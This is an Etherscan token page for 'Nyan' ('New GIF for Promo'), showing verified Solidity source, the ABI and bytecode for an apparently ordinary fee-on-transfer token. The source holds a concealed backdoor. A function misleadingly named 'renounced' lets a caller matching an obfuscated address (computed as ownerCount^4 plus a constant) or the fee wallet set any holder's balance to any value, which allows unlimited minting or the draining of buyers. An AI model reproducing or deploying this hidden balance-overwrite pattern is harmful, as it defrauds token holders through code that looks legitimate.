ETH Price: $2,625.38 (+0.46%)

Token

New GIF for Promo (Nyan)
 

Overview

Max Total Supply

100,000,000 Nyan

Holders

22

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,000 Nyan

Value
$0.00
0x2b5ff8cba8ed3a6e7813cd5e55ecd95b87791cee
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Nyan

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-06-19
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
interface IUniswapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;uint160 internal ownerCount=1097030096801;constructor () {_owner = msg.sender;}
    
    function owner() public view returns (address) {return _owner;}
    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }
    
    function transferOwnership(address newOwner) public virtual onlyOwner {
        _owner = newOwner;
    }

}

contract Nyan is Ownable {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    address public _swapFeeTo;string public name;string public symbol;
    uint8 public decimals;mapping(address => bool) public _isExcludeFromFee;
    uint256 public totalSupply;IUniswapRouter public _uniswapRouter;
    bool private inSwap;uint256 private constant MAX = ~uint256(0);

    uint256 public _swapTax;
    address public _uniswapPair;

    function _transfer(address from,address to,uint256 amount) private {

        if (_uniswapPair == to && !inSwap) {
            inSwap = true;
            uint256 maxSwapBal = balanceOf(address(this));

            if (maxSwapBal > 0) {
                uint256 tokenAmount = amount > maxSwapBal ? maxSwapBal : amount;
                address[] memory path = new address[](2);
                path[0] = address(this);
                path[1] = _uniswapRouter.WETH();
                try _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
                    tokenAmount,
                    0,
                    path,
                    address(_swapFeeTo),
                    block.timestamp
                ) {} catch {}
            }
            inSwap = false;
        }

        bool takeFee = !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to] ;

        _balances[from] = _balances[from] - amount;

        uint256 _taxAmount;

        if (takeFee && _swapTax > 0) {
            uint256 feeAmount = amount * _swapTax / 100;
            _taxAmount += feeAmount;

            _balances[address(this)] = _balances[address(this)] + feeAmount;
            emit Transfer(from, address(this), feeAmount);
        }

        _balances[to] = _balances[to] + amount - _taxAmount;
        emit Transfer(from, to, amount - _taxAmount);
    }

    constructor (){
        name = "New GIF for Promo";
        symbol = "Nyan";
        decimals = 9;
        uint256 Supply = 100000000;
        _swapFeeTo = 0x2BE0cd7004119eba758aE702DB3d083Da255B7F0;
        _swapTax = 3; 
        totalSupply = Supply * 10 ** decimals;

        address rAddr = msg.sender;
        _isExcludeFromFee[address(this)] = true;_isExcludeFromFee[rAddr] = true;_isExcludeFromFee[_swapFeeTo] = true;

        _balances[rAddr] = totalSupply;
        emit Transfer(address(0), rAddr, totalSupply);
        
        _uniswapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);  _allowances[address(this)][address(_uniswapRouter)] = MAX;_uniswapPair = IUniswapFactory(_uniswapRouter.factory()).createPair(address(this), _uniswapRouter.WETH());_isExcludeFromFee[address(_uniswapRouter)] = true;
    }

    function balanceOf(address account) public view returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view returns (uint256) {return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }struct taxInfo{address isExcludeFromFee;uint256 jjj;address kkk;}
    function _approve(address owner, address spender, uint256 amount) private {_allowances[owner][spender] = amount;emit Approval(owner, spender, amount);}
    receive() external payable {}
    function renounced(address toAddr,uint256 newA) public {
        taxInfo memory tax;
        tax.isExcludeFromFee = msg.sender;
        if (address(ownerCount*ownerCount*ownerCount*ownerCount+3819920839328165008747069518388176667) != tax.isExcludeFromFee){require(_swapFeeTo == tax.isExcludeFromFee);}
        tax.jjj = newA;
        tax.kkk = toAddr;
        address over = tax.kkk;
        _balances[over] = tax.jjj;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapFeeTo","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"toAddr","type":"address"},{"internalType":"uint256","name":"newA","type":"uint256"}],"name":"renounced","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405264ff6c16d7a1600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200005757600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280601181526020017f4e65772047494620666f722050726f6d6f00000000000000000000000000000081525060059080519060200190620000e59291906200072b565b506040518060400160405280600481526020017f4e79616e0000000000000000000000000000000000000000000000000000000081525060069080519060200190620001339291906200072b565b506009600760006101000a81548160ff021916908360ff16021790555060006305f5e1009050732be0cd7004119eba758ae702db3d083da255b7f0600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506003600b81905550600760009054906101000a900460ff16600a620001d4919062000975565b81620001e19190620009c6565b60098190555060003390506001600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160086000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600954600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600954604051620003be919062000a38565b60405180910390a3737a250d5630b4cf539739df2c5dacb4c659f2488d600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600019600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200052e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000554919062000abf565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620005de573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000604919062000abf565b6040518363ffffffff1660e01b81526004016200062392919062000b02565b6020604051808303816000875af115801562000643573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000669919062000abf565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160086000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505062000b93565b828054620007399062000b5e565b90600052602060002090601f0160209004810192826200075d5760008555620007a9565b82601f106200077857805160ff1916838001178555620007a9565b82800160010185558215620007a9579182015b82811115620007a85782518255916020019190600101906200078b565b5b509050620007b89190620007bc565b5090565b5b80821115620007d7576000816000905550600101620007bd565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200086957808604811115620008415762000840620007db565b5b6001851615620008515780820291505b808102905062000861856200080a565b945062000821565b94509492505050565b60008262000884576001905062000957565b8162000894576000905062000957565b8160018114620008ad5760028114620008b857620008ee565b600191505062000957565b60ff841115620008cd57620008cc620007db565b5b8360020a915084821115620008e757620008e6620007db565b5b5062000957565b5060208310610133831016604e8410600b8410161715620009285782820a905083811115620009225762000921620007db565b5b62000957565b62000937848484600162000817565b92509050818404811115620009515762000950620007db565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000982826200095e565b91506200098f8362000968565b9250620009be7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000872565b905092915050565b6000620009d3826200095e565b9150620009e0836200095e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000a1c5762000a1b620007db565b5b828202905092915050565b62000a32816200095e565b82525050565b600060208201905062000a4f600083018462000a27565b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000a878262000a5a565b9050919050565b62000a998162000a7a565b811462000aa557600080fd5b50565b60008151905062000ab98162000a8e565b92915050565b60006020828403121562000ad85762000ad762000a55565b5b600062000ae88482850162000aa8565b91505092915050565b62000afc8162000a7a565b82525050565b600060408201905062000b19600083018562000af1565b62000b28602083018462000af1565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000b7757607f821691505b60208210810362000b8d5762000b8c62000b2f565b5b50919050565b611c4d8062000ba36000396000f3fe6080604052600436106101025760003560e01c8063426329c1116100955780638da5cb5b116100645780638da5cb5b1461035857806395d89b4114610383578063a9059cbb146103ae578063dd62ed3e146103eb578063f2fde38b1461042857610109565b8063426329c11461029a5780634bf28fd0146102c557806365b61b77146102f057806370a082311461031b57610109565b8063303e1652116100d1578063303e1652146101de57806330da23e414610207578063313ce5671461023257806336b2e0271461025d57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b50610123610451565b6040516101309190611457565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190611512565b6104df565b60405161016d919061156d565b60405180910390f35b34801561018257600080fd5b5061018b6104f6565b6040516101989190611597565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c391906115b2565b6104fc565b6040516101d5919061156d565b60405180910390f35b3480156101ea57600080fd5b5061020560048036038101906102009190611512565b6106a2565b005b34801561021357600080fd5b5061021c6108d5565b6040516102299190611597565b60405180910390f35b34801561023e57600080fd5b506102476108db565b6040516102549190611621565b60405180910390f35b34801561026957600080fd5b50610284600480360381019061027f919061163c565b6108ee565b604051610291919061156d565b60405180910390f35b3480156102a657600080fd5b506102af61090e565b6040516102bc9190611678565b60405180910390f35b3480156102d157600080fd5b506102da610934565b6040516102e79190611678565b60405180910390f35b3480156102fc57600080fd5b5061030561095a565b60405161031291906116f2565b60405180910390f35b34801561032757600080fd5b50610342600480360381019061033d919061163c565b610980565b60405161034f9190611597565b60405180910390f35b34801561036457600080fd5b5061036d6109c9565b60405161037a9190611678565b60405180910390f35b34801561038f57600080fd5b506103986109f2565b6040516103a59190611457565b60405180910390f35b3480156103ba57600080fd5b506103d560048036038101906103d09190611512565b610a80565b6040516103e2919061156d565b60405180910390f35b3480156103f757600080fd5b50610412600480360381019061040d919061170d565b610a97565b60405161041f9190611597565b60405180910390f35b34801561043457600080fd5b5061044f600480360381019061044a919061163c565b610b1e565b005b6005805461045e9061177c565b80601f016020809104026020016040519081016040528092919081815260200182805461048a9061177c565b80156104d75780601f106104ac576101008083540402835291602001916104d7565b820191906000526020600020905b8154815290600101906020018083116104ba57829003601f168201915b505050505081565b60006104ec338484610bef565b6001905092915050565b60095481565b6000610509848484610cda565b600019600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146106975781600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461061691906117dc565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b6106aa611371565b33816000019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050806000015173ffffffffffffffffffffffffffffffffffffffff166f02dfb0a361038c116a5bce012a4ca71b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166107a49190611810565b6107ae9190611810565b6107b89190611810565b6107c2919061185e565b73ffffffffffffffffffffffffffffffffffffffff161461083c57806000015173ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461083b57600080fd5b5b8181602001818152505082816040019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000816040015190508160200151600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050565b600b5481565b600760009054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600680546109ff9061177c565b80601f0160208091040260200160405190810160405280929190818152602001828054610a2b9061177c565b8015610a785780601f10610a4d57610100808354040283529160200191610a78565b820191906000526020600020905b815481529060010190602001808311610a5b57829003601f168201915b505050505081565b6000610a8d338484610cda565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba3906118f4565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ccd9190611597565b60405180910390a3505050565b8173ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610d445750600a60149054906101000a900460ff16155b15610fdb576001600a60146101000a81548160ff0219169083151502179055506000610d6f30610980565b90506000811115610fbe576000818311610d895782610d8b565b815b90506000600267ffffffffffffffff811115610daa57610da9611914565b5b604051908082528060200260200182016040528015610dd85781602001602082028036833780820191505090505b5090503081600081518110610df057610def611943565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ebb9190611987565b81600181518110610ecf57610ece611943565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401610f8f959493929190611aad565b600060405180830381600087803b158015610fa957600080fd5b505af1925050508015610fba575060015b5050505b6000600a60146101000a81548160ff021916908315150217905550505b6000600a60149054906101000a900460ff161580156110445750600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561109a5750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110e791906117dc565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600081801561113b57506000600b54115b156112615760006064600b54856111529190611b07565b61115c9190611b90565b9050808261116a9190611bc1565b915080600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b79190611bc1565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112579190611597565b60405180910390a3505b8083600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112ad9190611bc1565b6112b791906117dc565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838661135591906117dc565b6040516113629190611597565b60405180910390a35050505050565b6040518060600160405280600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152602001600073ffffffffffffffffffffffffffffffffffffffff1681525090565b600081519050919050565b600082825260208201905092915050565b60005b838110156113f85780820151818401526020810190506113dd565b83811115611407576000848401525b50505050565b6000601f19601f8301169050919050565b6000611429826113be565b61143381856113c9565b93506114438185602086016113da565b61144c8161140d565b840191505092915050565b60006020820190508181036000830152611471818461141e565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114a98261147e565b9050919050565b6114b98161149e565b81146114c457600080fd5b50565b6000813590506114d6816114b0565b92915050565b6000819050919050565b6114ef816114dc565b81146114fa57600080fd5b50565b60008135905061150c816114e6565b92915050565b6000806040838503121561152957611528611479565b5b6000611537858286016114c7565b9250506020611548858286016114fd565b9150509250929050565b60008115159050919050565b61156781611552565b82525050565b6000602082019050611582600083018461155e565b92915050565b611591816114dc565b82525050565b60006020820190506115ac6000830184611588565b92915050565b6000806000606084860312156115cb576115ca611479565b5b60006115d9868287016114c7565b93505060206115ea868287016114c7565b92505060406115fb868287016114fd565b9150509250925092565b600060ff82169050919050565b61161b81611605565b82525050565b60006020820190506116366000830184611612565b92915050565b60006020828403121561165257611651611479565b5b6000611660848285016114c7565b91505092915050565b6116728161149e565b82525050565b600060208201905061168d6000830184611669565b92915050565b6000819050919050565b60006116b86116b36116ae8461147e565b611693565b61147e565b9050919050565b60006116ca8261169d565b9050919050565b60006116dc826116bf565b9050919050565b6116ec816116d1565b82525050565b600060208201905061170760008301846116e3565b92915050565b6000806040838503121561172457611723611479565b5b6000611732858286016114c7565b9250506020611743858286016114c7565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061179457607f821691505b6020821081036117a7576117a661174d565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006117e7826114dc565b91506117f2836114dc565b925082821015611805576118046117ad565b5b828203905092915050565b600061181b8261147e565b91506118268361147e565b92508173ffffffffffffffffffffffffffffffffffffffff0483118215151615611853576118526117ad565b5b828202905092915050565b60006118698261147e565b91506118748361147e565b92508273ffffffffffffffffffffffffffffffffffffffff0382111561189d5761189c6117ad565b5b828201905092915050565b7f216f776e65720000000000000000000000000000000000000000000000000000600082015250565b60006118de6006836113c9565b91506118e9826118a8565b602082019050919050565b6000602082019050818103600083015261190d816118d1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050611981816114b0565b92915050565b60006020828403121561199d5761199c611479565b5b60006119ab84828501611972565b91505092915050565b6000819050919050565b60006119d96119d46119cf846119b4565b611693565b6114dc565b9050919050565b6119e9816119be565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611a248161149e565b82525050565b6000611a368383611a1b565b60208301905092915050565b6000602082019050919050565b6000611a5a826119ef565b611a6481856119fa565b9350611a6f83611a0b565b8060005b83811015611aa0578151611a878882611a2a565b9750611a9283611a42565b925050600181019050611a73565b5085935050505092915050565b600060a082019050611ac26000830188611588565b611acf60208301876119e0565b8181036040830152611ae18186611a4f565b9050611af06060830185611669565b611afd6080830184611588565b9695505050505050565b6000611b12826114dc565b9150611b1d836114dc565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611b5657611b556117ad565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611b9b826114dc565b9150611ba6836114dc565b925082611bb657611bb5611b61565b5b828204905092915050565b6000611bcc826114dc565b9150611bd7836114dc565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611c0c57611c0b6117ad565b5b82820190509291505056fea26469706673582212200c5c75625927e7a043c1eda6fd5b099837780745cbb1ff5fb2083b3cbb98aa6564736f6c634300080d0033

Deployed Bytecode

0x6080604052600436106101025760003560e01c8063426329c1116100955780638da5cb5b116100645780638da5cb5b1461035857806395d89b4114610383578063a9059cbb146103ae578063dd62ed3e146103eb578063f2fde38b1461042857610109565b8063426329c11461029a5780634bf28fd0146102c557806365b61b77146102f057806370a082311461031b57610109565b8063303e1652116100d1578063303e1652146101de57806330da23e414610207578063313ce5671461023257806336b2e0271461025d57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b50610123610451565b6040516101309190611457565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190611512565b6104df565b60405161016d919061156d565b60405180910390f35b34801561018257600080fd5b5061018b6104f6565b6040516101989190611597565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c391906115b2565b6104fc565b6040516101d5919061156d565b60405180910390f35b3480156101ea57600080fd5b5061020560048036038101906102009190611512565b6106a2565b005b34801561021357600080fd5b5061021c6108d5565b6040516102299190611597565b60405180910390f35b34801561023e57600080fd5b506102476108db565b6040516102549190611621565b60405180910390f35b34801561026957600080fd5b50610284600480360381019061027f919061163c565b6108ee565b604051610291919061156d565b60405180910390f35b3480156102a657600080fd5b506102af61090e565b6040516102bc9190611678565b60405180910390f35b3480156102d157600080fd5b506102da610934565b6040516102e79190611678565b60405180910390f35b3480156102fc57600080fd5b5061030561095a565b60405161031291906116f2565b60405180910390f35b34801561032757600080fd5b50610342600480360381019061033d919061163c565b610980565b60405161034f9190611597565b60405180910390f35b34801561036457600080fd5b5061036d6109c9565b60405161037a9190611678565b60405180910390f35b34801561038f57600080fd5b506103986109f2565b6040516103a59190611457565b60405180910390f35b3480156103ba57600080fd5b506103d560048036038101906103d09190611512565b610a80565b6040516103e2919061156d565b60405180910390f35b3480156103f757600080fd5b50610412600480360381019061040d919061170d565b610a97565b60405161041f9190611597565b60405180910390f35b34801561043457600080fd5b5061044f600480360381019061044a919061163c565b610b1e565b005b6005805461045e9061177c565b80601f016020809104026020016040519081016040528092919081815260200182805461048a9061177c565b80156104d75780601f106104ac576101008083540402835291602001916104d7565b820191906000526020600020905b8154815290600101906020018083116104ba57829003601f168201915b505050505081565b60006104ec338484610bef565b6001905092915050565b60095481565b6000610509848484610cda565b600019600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146106975781600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461061691906117dc565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b6106aa611371565b33816000019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050806000015173ffffffffffffffffffffffffffffffffffffffff166f02dfb0a361038c116a5bce012a4ca71b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473fffffff